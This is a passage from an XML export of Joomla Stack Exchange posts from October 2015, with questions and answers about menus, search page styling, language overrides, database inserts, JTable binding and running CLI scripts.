&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any &lt;em&gt;Category Blog&lt;/em&gt; menu items will display an exclamation mark if there are (published) articles  from within the last week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note&lt;/em&gt;: this only works if you're using &lt;code&gt;mod_menu&lt;/code&gt; to display your menu. Some templates (e.g. from RocketTheme and Shape5) uses their own menu system by default, but this can usually be changed in template settings).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-10-27T20:48:36.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14091" PostTypeId="2" ParentId="14089" CreationDate="2015-10-27T22:01:01.400" Score="0" Body="&lt;p&gt;call JHtml::_('jquery.framework'); before your $doc = ... line&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-10-27T22:01:01.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14092" PostTypeId="2" ParentId="14057" CreationDate="2015-10-27T22:03:21.030" Score="0" Body="&lt;p&gt;I thinks it's a Joomla 2.5 plugin: &lt;a href=&quot;https://github.com/crusonweb/eosnotify&quot; rel=&quot;nofollow&quot;&gt;https://github.com/crusonweb/eosnotify&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-10-27T22:03:21.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14093" PostTypeId="1" CreationDate="2015-10-28T01:05:55.807" Score="3" ViewCount="2384" Body="&lt;p&gt;Can anyone offer some guidance on how to change the look of the Search Results page? Right now there is no visual separation and everything looks very condensed and cluttered making it hard to view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attached a screenshot to help illustrate the areas of concern and improvements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help you can give would be so helpful as I cannot find help anywhere. I have tried Firebug to change margins below, but it changes the margins on other things I do not want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like the look of the &quot;Smart Search&quot; results page better because it has better visual separation but like the functions of the normal &quot;Search&quot; Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggustion on how to customize Search results page (possible search result templates)?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;p:last-child, blockquote:last-child, form:last-child, dl:last-child, ul:last-child, ol:last-child, fieldset:last-child, address:last-child, table:last-child {&#xA;    margin-bottom: 5px;&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p, pre, blockquote, form, dl, ul, ol, fieldset, address, table {&#xA;    margin: 5px 0;&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XG5GH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XG5GH.jpg&quot; alt=&quot;HELP_Improve_Search_Results_Page&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**NOTE: I have very limited experience with CSS, PHP. So please be specific as you can with suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much.&lt;/p&gt;&#xA;" OwnerUserId="7171" LastEditorUserId="7171" LastEditDate="2015-10-28T11:07:09.027" LastActivityDate="2020-05-14T21:57:31.500" Title="How do I change the appearance of the search results page?" Tags="|css|layout|search|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14095" PostTypeId="1" AcceptedAnswerId="14461" CreationDate="2015-10-28T05:05:45.580" Score="1" ViewCount="2213" Body="&lt;p&gt;I want to change the default placeholder value of the search field from &quot;Search...&quot; to &quot;XYZ&quot; in Joomla  (default search module). I have modified the &lt;code&gt;default_form.php&lt;/code&gt; from the directory &lt;code&gt;/joomla15/components/com_search/views/search/tmpl/&lt;/code&gt; and even removed the following code but it makes no difference on the site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo JText::_('COM_SEARCH_SEARCH_KEYWORD'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5195" LastEditorUserId="1629" LastEditDate="2015-11-27T10:32:03.587" LastActivityDate="2015-11-27T10:48:04.077" Title="How to modify Joomla default search module placeholder value?" Tags="|joomla-3.x|joomla-3.4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14096" PostTypeId="2" ParentId="14089" CreationDate="2015-10-28T05:13:25.070" Score="2" Body="&lt;p&gt;You need to add JHtml::_('bootstrap.framework') or JHtml::('jQuery.framework') above the line addScript line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever we are creating custom extensions then we must include dependencies.By using this, it will automatically set proper ordering as you want. For more details kindly refer the following link:&#xA;&lt;a href=&quot;https://docs.joomla.org/Adding_JavaScript&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Adding_JavaScript&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards,&#xA;Ruchika&lt;/p&gt;&#xA;" OwnerDisplayName="user5491" LastActivityDate="2015-10-28T05:13:25.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14097" PostTypeId="1" CreationDate="2015-10-28T05:43:41.900" Score="0" ViewCount="1510" Body="&lt;p&gt;Recently I have stumbled upon a situation in Joomla 3.4 where I need to add a custom field attached with default registration form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I surfed the existing resources which say that I should navigate to joomla_root/components/com_users/models/forms/registration.xml and then change the file accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done that but nothing is showing up. By changing code in xml files its shows the chagnes on front end and back end as well but problem is this that were to write its php code. Thank you &lt;/p&gt;&#xA;" OwnerUserId="5195" LastActivityDate="2015-10-28T08:45:47.197" Title="Adding custom field in default joomla 3.4 registration form" Tags="|joomla-3.x|joomla-3.4|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14099" PostTypeId="2" ParentId="14095" CreationDate="2015-10-28T08:50:28.320" Score="0" Body="&lt;p&gt;To change the placeholder in any form use the following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;setFieldAttribute( 'name', 'hint', JText::_('KEY_OF_PLACEHOLDER') );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;name&lt;/strong&gt; : is the fieldname.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;hint&lt;/strong&gt; : placeholder. In joomla core files this is described by attribute       hint.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;key&lt;/strong&gt; : is the key defined in your language file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user5491" LastActivityDate="2015-10-28T08:50:28.320" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14100" PostTypeId="1" AcceptedAnswerId="14120" CreationDate="2015-10-28T11:08:37.037" Score="3" ViewCount="2206" Body="&lt;p&gt;I developed a new Joomla site in a subfolder on the server and, after finishing development, I have put the site live by moving all the files out of the subfolder in to the top level directory.  This is the way I regularly work and have done this so many times!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this time I have found that I am not able to make any changes to the global configuration, modules and menus as the Save buttons simply don't work.  No error messages, they just don't allow me to click on them.  I have also found that the Search Tools filter dropdown in the Article Manager doesn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's all very strange and frustrating because, as I say, I have done this before many times with no problems at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I can find out is that it may be something to do with file ownership or permissions but I really don't understand how to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea why this problem has just occurred and how I can fix up the admin to work fully?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site:  &lt;a href=&quot;http://www.jobutcher.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://www.jobutcher.co.uk/&lt;/a&gt;&#xA;Joomla version:  3.4.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="1740" LastActivityDate="2022-01-25T09:01:27.570" Title="Save, Save &amp; Close and other functions not working after moving site" Tags="|joomla-3.x|global-configuration|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14101" PostTypeId="2" ParentId="14100" CreationDate="2015-10-28T11:54:05.263" Score="2" Body="&lt;p&gt;Check the file:&#xA;configuration.php&#xA;at root level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This file has some paths to tmp and log subdirectories. You have to manually update the path to the new location.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-10-28T11:54:05.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14102" PostTypeId="1" AcceptedAnswerId="14113" CreationDate="2015-10-28T12:27:55.037" Score="3" ViewCount="2106" Body="&lt;p&gt;I am trying to insert records in a loop. But unable to do so. Following is my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;historical.raw.php&lt;/strong&gt; : created a task in controller of format raw&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function historical()&#xA;{&#xA;    $db = JFactory::getDBO();&#xA;    $arr =  array('ARI','ATL' );&#xA;&#xA;    foreach ($arr as $key =&amp;gt; $value) &#xA;    {&#xA;        $query=&quot;INSERT INTO `tbname` (&amp;lt;columns&amp;gt;) VALUES (&amp;lt;values&amp;gt;)&quot;;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $db-&amp;gt;query(); &#xA;        // or $db-&amp;gt;execute();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;through URL I am accessing the task but it is giving me 500 error. The loop is only executing once. In database, rows are inserted only for the 1st array value &quot;ARI&quot; and not for the second one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I comment the &lt;code&gt;$db-&amp;gt;query()&lt;/code&gt; line then my file is running properly without any error. Kindly, guide me the correct way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerDisplayName="user5491" LastEditorUserId="168" LastEditDate="2015-10-28T13:09:05.400" LastActivityDate="2015-10-29T09:30:16.123" Title="Insert query not working within a loop" Tags="|joomla-3.x|controller|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14103" PostTypeId="2" ParentId="14102" CreationDate="2015-10-28T12:40:19.093" Score="2" Body="&lt;p&gt;This can be done by using &lt;strong&gt;-&gt;insert()&lt;/strong&gt; and &lt;strong&gt;-&gt;values()&lt;/strong&gt;, with the &lt;strong&gt;$values&lt;/strong&gt; being an array of the strings with the columns to insert.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$columns = array('col_one','col_two');&#xA;$values = array();&#xA;// Proper escaping/quotes should be done here, and probably in a loop&#xA;&#xA;foreach ($arr as $key =&amp;gt; $value) {&#xA;    $values[] = '$key, $value';&#xA;}&#xA;&#xA;$query-&amp;gt;insert($db-&amp;gt;quoteName('#__tablename'));&#xA;$query-&amp;gt;columns($columns);&#xA;$query-&amp;gt;values($values);&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it will help you :)&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2015-10-28T12:40:19.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14104" PostTypeId="1" AcceptedAnswerId="14107" CreationDate="2015-10-28T12:53:26.277" Score="1" ViewCount="95" Body="&lt;p&gt;I'm using a helper which is called by an Joomla-CLI-Script. In this script I would like to add items to my database using JTable::store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the storing-process I'm checking some JINPUT-values, that are not stored to the database. The inputs come from fields I defined in my fields.xml.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my source so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * generateItem function.&#xA; * &#xA; * @access public&#xA; * @param mixed $jsontable&#xA; * @param mixed $ids&#xA; * @return void&#xA; */&#xA;public function generateItem($jsontable, $ids)&#xA;{&#xA;    $app                        =           JFactory::getApplication();&#xA;    $input                      =           $app-&amp;gt;input;&#xA;    $input-&amp;gt;set('creationdate', JFactory::getDate()-&amp;gt;toSql());&#xA;&#xA;    // Lets store it!   &#xA;    $row                        =           JTable::getInstance('Item','BestiaTable');      &#xA;    $row-&amp;gt;check();&#xA;&#xA;    $store                      =           $row-&amp;gt;store(); &#xA;&#xA;    if($store == true)                      return $row-&amp;gt;id;&#xA;&#xA;    else                                    return false;       &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, now I got the following problem: The item IS fetchable in &lt;code&gt;JTable::store&lt;/code&gt; with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;var_dump($jinput-&amp;gt;get('creationdate'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I run it via CLI - but if I save the item via admin-backend (there is a form to create items the manual way without CLI) I'm getting NULL for my var_dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any possibility to solve that problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a LOT in advance! :-)&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-10-28T13:25:45.220" Title="Save JINPUT to JTable via CLI AND web-backend" Tags="|jinput|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14105" PostTypeId="2" ParentId="14068" CreationDate="2015-10-28T13:17:32.280" Score="2" Body="&lt;p&gt;I found my answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my situation I &lt;strong&gt;created a simple dropdown&lt;/strong&gt; named &quot;type of food&quot; in the dropdown the options were &quot;starter&quot;, &quot;main&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;strong&gt;added this dropdown&lt;/strong&gt; to &lt;strong&gt;list/search &gt; Search&lt;/strong&gt;.  Then I pressed &lt;strong&gt;number 2&lt;/strong&gt; (live variable) and I &lt;strong&gt;typed in the name&lt;/strong&gt; of one of the items (e.g. starter).  Then I pressed &lt;strong&gt;number 1&lt;/strong&gt; and set the field to &lt;strong&gt;hidden&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to replicate this search for each course because you cannot duplicate the field without using a custom override, which I didn't have time to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, I &lt;strong&gt;created a module&lt;/strong&gt; and called my search (starter list/search).  That way I could use modules for each course, and the modules were easy to position. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up creating a custom HTML module called &quot;menu layout&quot; and using {loadposition starter}{loadposition main} in order to keep control of my layout without using up all of the slots in my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps someone&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2015-10-28T13:17:32.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14106" PostTypeId="1" AcceptedAnswerId="14108" CreationDate="2015-10-28T13:22:11.493" Score="2" ViewCount="247" Body="&lt;p&gt;How do I change the &quot;read more&quot; text in the &lt;a href=&quot;http://extensions.joomla.org/extension/featured-categories&quot; rel=&quot;nofollow&quot;&gt;Featured Categories module&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've experienced in the past, that I really just have to change the content language to my local language (danish) for it to go from &quot;read more&quot; to &quot;Læs mere&quot; but it isn't happening for this extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if I'm doing something wrong or the extension just isn't compatible. But just in case I want to change it completely to something custom, is the best option to make an alternative edit of the module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. just by habit, I setup my Joomla sites to English, but I usually have to change at least the content to Danish, sometimes also the admin as well.&lt;/p&gt;&#xA;" OwnerUserId="3478" LastEditorUserId="1629" LastEditDate="2015-10-28T14:47:15.947" LastActivityDate="2015-10-28T15:06:46.170" Title="Change &quot;Read more&quot; text in Featured Categories module" Tags="|translation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14107" PostTypeId="2" ParentId="14104" CreationDate="2015-10-28T13:25:45.220" Score="2" Body="&lt;p&gt;You must find an solution to bind the Data from input to the TableObject, thats all.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dataToStore=array('creationdate'=&amp;gt; $input-&amp;gt;get('creationdate'));&#xA;$row = JTable::getInstance('Item','BestiaTable'); &#xA;// BIND DATA TO THE TABLE OBJECT!!!&#xA;$row-&amp;gt;bind($dataToStore);&#xA;&#xA;&#xA;   $row-&amp;gt;check(); // please write an check method which checks the datas before store!&#xA;   $store  = $row-&amp;gt;store(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5594" LastActivityDate="2015-10-28T13:25:45.220" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14108" PostTypeId="2" ParentId="14106" CreationDate="2015-10-28T15:06:46.170" Score="2" Body="&lt;p&gt;The module in question uses language files, but only comes with English (en-GB) language. You have a couple of ways to translate the module:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use language overrides&lt;/strong&gt;&lt;br&gt;&#xA;In your Joomla admin area, go to &lt;strong&gt;Extensions&lt;/strong&gt; -&gt; &lt;strong&gt;Language(s)&lt;/strong&gt;, and press the &lt;kbd&gt;New&lt;/kbd&gt; button. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/fSbji.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fSbji.jpg&quot; alt=&quot;Language overrides&quot;&gt;&lt;/a&gt;&#xA;Make sure the language is set to Danish. You probably want to override one or more of the following constants:   &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MOD_FEATCATS_READ_MORE=&quot;Read more &quot; &#xA;  MOD_FEATCATS_READ_MORE_TITLE=&quot;Read&#xA;  More&quot; MOD_FEATCATS_REGISTER_TO_READ_MORE=&quot;Register to read more&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Save and close, and you're done. More on language overrides can be &lt;a href=&quot;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;found here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Create a Danish language file&lt;/strong&gt;&lt;br&gt;&#xA;In case you want to translate most of the module, you can create your own language file.&lt;br&gt;&#xA;Copy the following files from &lt;code&gt;ROOT\languages\en-GB\&lt;/code&gt; to &lt;code&gt;ROOT\languages\da-DK\&lt;/code&gt; and rename them as indicated:&lt;br&gt;&#xA;  &lt;code&gt;en-GB.mod_featcats.sys.ini&lt;/code&gt; rename to &lt;code&gt;da-DK.mod_featcats.sys.ini&lt;/code&gt;&lt;br&gt;&#xA;  &lt;code&gt;en-GB.mod_featcats.ini&lt;/code&gt; rename to &lt;code&gt;da-DK.mod_featcats.ini&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now simply go through the files and translate the text inside double quotes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use a translation component&lt;/strong&gt;&#xA;There are some Joomla components that helps you handle extension translation, take a look at the &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/languages/language-edition/freestyle-translation-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Extensions Directory&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-10-28T15:06:46.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14109" PostTypeId="1" AcceptedAnswerId="14112" CreationDate="2015-10-28T17:56:35.403" Score="3" ViewCount="640" Body="&lt;p&gt;I have a command line test script that runs locally OK, but when I try to run it on my host (Bluehost) through ssl (using Putty) it fails, but doesn't throw an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the error logs and there is nothing there to indicate a failure and I have turned on E_ALL errors there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my local wamp server this runs fine and outputs all the prompts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. environment imported&#xA;2. About to execute!&#xA;3. Got instance&#xA;4. Success&#xA;5. Finished executing!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run this over putty at my host it outputs only the first two lines.&#xA;    1. environment imported&#xA;    2. About to execute!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the script (joomla 3.4.5):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Initialize Joomla framework&#xA;const _JEXEC = 1;&#xA;ini_set('display_errors', 1);&#xA;error_reporting(E_ALL);&#xA;&#xA;// Load system defines&#xA;if (file_exists(dirname(__DIR__) . '/defines.php'))&#xA;{&#xA;require_once dirname(__DIR__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;define('JPATH_BASE', dirname(__DIR__));&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;// Get the framework.&#xA;require_once JPATH_LIBRARIES . '/import.legacy.php';&#xA;&#xA;// Bootstrap the CMS libraries.&#xA;require_once JPATH_LIBRARIES . '/cms.php';&#xA;&#xA;// Load the configuration&#xA;require_once JPATH_CONFIGURATION . '/configuration.php';&#xA;&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;&#xA;echo &quot;1. Environment imported\n&quot;;&#xA;&#xA;class Test extends JApplicationCli&#xA;{&#xA;public function doExecute()&#xA;    {&#xA;         echo &quot;4. Successful execution\n&quot;;&#xA;    }&#xA;}&#xA;&#xA;echo &quot;2. About to execute\n&quot;;&#xA;&#xA;$test = JApplicationCli::getInstance('Test');&#xA;echo &quot;3. Got instance\n&quot;;&#xA;&#xA;$test-&amp;gt;execute();&#xA;echo &quot;5. Finished executing!\n&quot;;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried running this with different variations of the command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php jwjtest.php&#xA;php54s -c ~/public_html/php.ini ~/public_html/cli/jwjtest.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also surrounded the line that executes 'getInstance' with 'try' and 'catch' but no error is caught.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be welcome. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I am posting this on the joomla stackexchange (I already tried the regular stackexchange, but this seemed to be a more relevant forum)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I've tried triggering run time errors and they seem to work fine outside the cli class, but inside the doExecute method nothing happens (as if no code inside there is being executed), but something must be erroring out because the last echoe'd comment ('finished executing') never gets executed.&lt;/p&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2015-10-30T03:58:33.417" Title="CLI command line script working locally but not on host" Tags="|development|joomla-3.4|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14111" PostTypeId="1" CreationDate="2015-10-29T02:52:22.380" Score="2" ViewCount="655" Body="&lt;p&gt;I'm using this template, &lt;a href=&quot;http://joomlatemplates.me/clean-and-simple/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://joomlatemplates.me/clean-and-simple/&lt;/a&gt; for Joomla ver 3.4.5.&#xA;Everything works fine except the text separator menu item. As shown on the picture below, I used About Us Single Article menu item, while Products menu I used Text Separator menu item.&#xA;I played around with the css but it doesn't work. Any suggestion??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AL8wM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AL8wM.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NR8gl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NR8gl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the some part of the css code for the menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /* Navigation */&#xA; #navbar-wrap { padding: 0px; margin:0 0 10px 0;  border-top: 1px solid #dedede; border-bottom: 1px solid #dedede; }&#xA; #navbar { position: relative; height: 55px;}&#xA; #navbar.row { margin-bottom: 0 }&#xA; #navigation { padding:0 10px;}&#xA; #navigation .menu { margin: 0; padding: 0; list-style: none; }&#xA; #navigation .menu .icon-angle-right { position: absolute; right: 10px; top:50%; margin-top: -6px; color: #aaa; font-size: 12px; }&#xA; #navigation .menu &amp;gt; li { display: block; float: left; }&#xA; #navigation .menu &amp;gt; li ul {}&#xA; #navigation .menu ul { position: absolute; left: 0; top: 100%; margin: 10px 0 0 0; /*IE6 only*/ _margin: 0; nowhitespace: afterproperty; opacity: 0; transition: all .2s ease-in-out; visibility: hidden; z-index: 99; }&#xA; #navigation .menu ul ul { left: 100%; top: 0; }&#xA; #navigation .menu ul ul li { width: 100% }&#xA; #navigation .menu li { position: relative; list-style: none; }&#xA; #navigation .menu li:hover &amp;gt; ul { margin: 0; opacity: 1; visibility: visible; }&#xA; #navigation .menu a { display: block; position: relative; }&#xA; /* current item */&#xA; #navigation .menu &amp;gt; li &amp;gt; a:hover, #navigation .menu &amp;gt; li.sfHover &amp;gt; a, #navigation .menu &amp;gt; .active &amp;gt; a, #navigation .active &amp;gt; a:hover, #navigation .active &amp;gt; a:hover { color: #E95846;}&#xA; #navigation .menu &amp;gt; .active &amp;gt; a, #navigation li.active &amp;gt; a { font-weight: bold; color: #E95846  }&#xA; #navigation .menu &amp;gt; li { margin-right: 20px; padding:0 10px; }&#xA; #navigation .menu a { height: 55px; color: #606060; font-weight: 400; text-align: left; text-decoration: none; cursor: pointer; line-height: 55px; font-size:16px; }&#xA; /*drop-down styles*/&#xA; #navigation .menu ul { border-top: none; background: #fff; border: 1px solid #ddd; min-width:200px;}&#xA; #navigation .menu li:hover ul { margin-top: 0; }&#xA; #navigation .menu ul ul.sub-menu { margin-top: -1px; margin-left: 1px; }&#xA; #navigation .menu ul li { border-bottom: 1px solid #ddd }&#xA; #navigation .menu ul li:first-child { }&#xA; #navigation .menu ul li:last-child { border: 0 }&#xA; #navigation .menu ul li &amp;gt; a:hover { color: #E95846 }&#xA; #navigation .menu ul a { display: block; height: auto; margin: 0px; padding: 12px 15px; text-transform: none; border: 0px; line-height: 1.7em; }&#xA; #navigation .selector { display: none }&#xA; #navigation ul.sub-menu .icon-angle-down:before {content:&quot;\f105&quot;!important;}&#xA; #navigation ul.sub-menu a { font-size:12px;}&#xA; #navigation i { text-align:right}&#xA; #menu-icon {display: none;}&#xA; #slide-wrap a:hover{ color:#fff}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to hard code to fix it with this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; .separator {&#xA;   display:inline-block;&#xA;   font-size:16px;&#xA;   padding-top:15px;&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine but it wont have the arrow menu like the one About Us has and the submenu box will not be aligned the same as About Us submenu box...&lt;/p&gt;&#xA;" OwnerUserId="5613" LastEditorUserId="126" LastEditDate="2015-10-29T05:59:17.827" LastActivityDate="2015-10-29T05:59:17.827" Title="Dropdown menu does not work well for text separator" Tags="|joomla-3.4|templates|menu-item|css|submenu|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14112" PostTypeId="2" ParentId="14109" CreationDate="2015-10-29T02:58:23.647" Score="4" Body="&lt;p&gt;Have you checked that &lt;strong&gt;php5-cli&lt;/strong&gt; is installed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not installed, you can run the following in command line to install it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install php5-cli&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;yum install php5-cli&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35" LastEditorUserId="168" LastEditDate="2015-10-29T11:53:40.570" LastActivityDate="2015-10-29T11:53:40.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
